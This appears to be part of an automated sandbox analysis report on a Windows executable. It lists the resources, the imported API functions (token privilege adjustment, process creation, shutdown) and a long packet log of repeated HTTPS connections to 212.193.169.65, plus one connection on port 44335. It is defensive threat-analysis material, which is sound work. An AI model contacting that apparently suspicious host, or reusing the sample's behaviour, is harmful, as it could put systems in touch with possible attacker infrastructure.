                                                                                                                                    RT_ICON0xc76780xa68Device independent bitmap graphic, 64 x 128 x 4, image size 2048EnglishUnited States0.1174924924924925
                                                                                                                                    RT_ICON0xc80e00x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishUnited States0.15792682926829268
                                                                                                                                    RT_ICON0xc87480x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishUnited States0.23387096774193547
                                                                                                                                    RT_ICON0xc8a300x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishUnited States0.39864864864864863
                                                                                                                                    RT_ICON0xc8b580x1628Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colorsEnglishUnited States0.08339210155148095
                                                                                                                                    RT_ICON0xca1800xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishUnited States0.1023454157782516
                                                                                                                                    RT_ICON0xcb0280x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishUnited States0.10649819494584838
                                                                                                                                    RT_ICON0xcb8d00x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishUnited States0.10838150289017341
                                                                                                                                    RT_ICON0xcbe380x12e5PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.8712011577424024
                                                                                                                                    RT_ICON0xcd1200x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16896EnglishUnited States0.05668398677373642
                                                                                                                                    RT_ICON0xd13480x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States0.08475103734439834
                                                                                                                                    RT_ICON0xd38f00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.09920262664165103
                                                                                                                                    RT_ICON0xd49980x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.2047872340425532
                                                                                                                                    RT_STRING0xd4e000x360data0.34375
                                                                                                                                    RT_STRING0xd51600x260data0.3256578947368421
                                                                                                                                    RT_STRING0xd53c00x45cdata0.4068100358422939
                                                                                                                                    RT_STRING0xd581c0x40cdata0.3754826254826255
                                                                                                                                    RT_STRING0xd5c280x2d4data0.39226519337016574
                                                                                                                                    RT_STRING0xd5efc0xb8data0.6467391304347826
                                                                                                                                    RT_STRING0xd5fb40x9cdata0.6410256410256411
                                                                                                                                    RT_STRING0xd60500x374data0.4230769230769231
                                                                                                                                    RT_STRING0xd63c40x398data0.3358695652173913
                                                                                                                                    RT_STRING0xd675c0x368data0.3795871559633027
                                                                                                                                    RT_STRING0xd6ac40x2a4data0.4275147928994083
                                                                                                                                    RT_RCDATA0xd6d680x10data1.5
                                                                                                                                    RT_RCDATA0xd6d780x2c4data0.6384180790960452
                                                                                                                                    RT_RCDATA0xd703c0x2cdata1.2045454545454546
                                                                                                                                    RT_GROUP_ICON0xd70680xbcdataEnglishUnited States0.6170212765957447
                                                                                                                                    RT_VERSION0xd71240x584dataEnglishUnited States0.24079320113314448
                                                                                                                                    RT_MANIFEST0xd76a80x765XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.39091389329107235

                                                                                                                                    Imports

                                                                                                                                    DLLImport
                                                                                                                                    kernel32.dllGetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
                                                                                                                                    comctl32.dllInitCommonControls
                                                                                                                                    version.dllGetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
                                                                                                                                    user32.dllCreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
                                                                                                                                    oleaut32.dllSysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
                                                                                                                                    netapi32.dllNetWkstaGetInfo, NetApiBufferFree
                                                                                                                                    advapi32.dllConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

                                                                                                                                    Exports

                                                                                                                                    NameOrdinalAddress
                                                                                                                                    TMethodImplementationIntercept30x4541a8
                                                                                                                                    __dbk_fcall_wrapper20x40d0a0
                                                                                                                                    dbkFCallWrapperAddr10x4be63c

                                                                                                                                    Possible Origin

                                                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                                                    EnglishUnited States

                                                                                                                                    Network Behavior

                                                                                                                                    Network Port Distribution

                                                                                                                                    TCP Packets

                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                    Nov 19, 2024 18:58:33.490489960 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:33.490556955 CET44351370212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:33.491341114 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:33.576735973 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:33.576771021 CET44351370212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:34.555948019 CET44351370212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:34.556041956 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.560076952 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.560092926 CET44351370212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:34.560339928 CET44351370212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:34.570455074 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.570455074 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.570638895 CET44351370212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:34.570667982 CET44351370212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:34.570934057 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.570934057 CET51370443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.659262896 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.659318924 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:34.659405947 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.659871101 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:34.659881115 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.488018036 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.488095045 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.491441011 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.491451979 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.491771936 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.492424965 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.503887892 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.503920078 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.503999949 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.504044056 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.504084110 CET44351373212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.504096985 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.504132032 CET51373443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.599247932 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.599288940 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:35.599347115 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.599867105 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:35.599883080 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.417155981 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.417246103 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.418787956 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.418800116 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.419079065 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.420128107 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.420448065 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.420469046 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.420563936 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.420644045 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.420672894 CET44351376212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.420741081 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.420741081 CET51376443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.482542992 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.482598066 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:36.482705116 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.483227015 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:36.483246088 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.297396898 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.297487020 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.298861027 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.298875093 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.299118042 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.299993992 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.300420046 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.300451040 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.300524950 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.300550938 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.300595045 CET44351379212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.300646067 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.300646067 CET51379443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.395184994 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.395243883 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:37.395561934 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.396646023 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:37.396658897 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.203042984 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.203140020 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.206110954 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.206121922 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.206408978 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.207016945 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.213294983 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.213321924 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.213443041 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.213479996 CET44351382212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.213531017 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.213743925 CET51382443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.436534882 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.436599970 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:38.436816931 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.437205076 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:38.437220097 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.192543983 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.192780972 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.194066048 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.194075108 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.194298983 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.195061922 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.198631048 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.198673010 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.198710918 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.198834896 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.198864937 CET44351385212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.198920965 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.198939085 CET51385443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.319008112 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.319060087 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:39.319190979 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.319561005 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:39.319576979 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.136873007 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.136962891 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.138254881 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.138267994 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.138485909 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.139094114 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.139904022 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.139931917 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.139980078 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.140019894 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.140060902 CET44351388212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.140114069 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.140132904 CET51388443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.148996115 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.149048090 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.149178028 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.149719954 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.149735928 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.910507917 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.910577059 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.922867060 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.922914982 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.923167944 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.931229115 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.935640097 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.935672998 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.935702085 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.935785055 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.935815096 CET44351391212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:40.935866117 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:40.935887098 CET51391443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:41.166270018 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:41.166337013 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:41.166404963 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:41.167134047 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:41.167156935 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.025405884 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.025481939 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.026870012 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.026886940 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.027102947 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.027843952 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.028140068 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.028155088 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.029045105 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.029113054 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.029165983 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.029189110 CET44351394212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.029237986 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.029258966 CET51394443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.044064045 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.044106007 CET44351397212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.044184923 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.044858932 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.044868946 CET44351397212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.863786936 CET44351397212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.865087032 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.865087032 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.865113020 CET44351397212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.865340948 CET44351397212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.866954088 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.866954088 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.867073059 CET44351397212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.867099047 CET44351397212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.867264986 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.867264986 CET51397443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.875952005 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.880837917 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:42.880971909 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.881552935 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:42.886364937 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.606673956 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.606692076 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.606703997 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.606722116 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.606787920 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:43.606878042 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:43.697431087 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.707782030 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:43.712862015 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.939893007 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.940793037 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:43.940888882 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:43.941478968 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:43.941663027 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:43.945868969 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.945950985 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.946393013 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.946744919 CET4433551400212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:43.946789980 CET5140044335192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.038639069 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.038677931 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.038819075 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.039355040 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.039362907 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.832226992 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.832536936 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.833760977 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.833772898 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.834017992 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.835102081 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.835102081 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.835179090 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.835212946 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.835304022 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.835340977 CET44351403212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.835371971 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.835477114 CET51403443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.850110054 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.850167036 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:44.850366116 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.850913048 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:44.850948095 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.673729897 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.674134016 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.684530020 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.684555054 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.684797049 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.689799070 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.705154896 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.705212116 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.705317020 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.705425024 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.705456972 CET44351406212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.705533981 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.705533981 CET51406443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.868505955 CET51409443192.168.2.8212.193.169.65
                                                                                                                                    Nov 19, 2024 18:58:45.868563890 CET44351409212.193.169.65192.168.2.8
                                                                                                                                    Nov 19, 2024 18:58:45.868727922 CET51409443192.168.2.8212.193.169.65
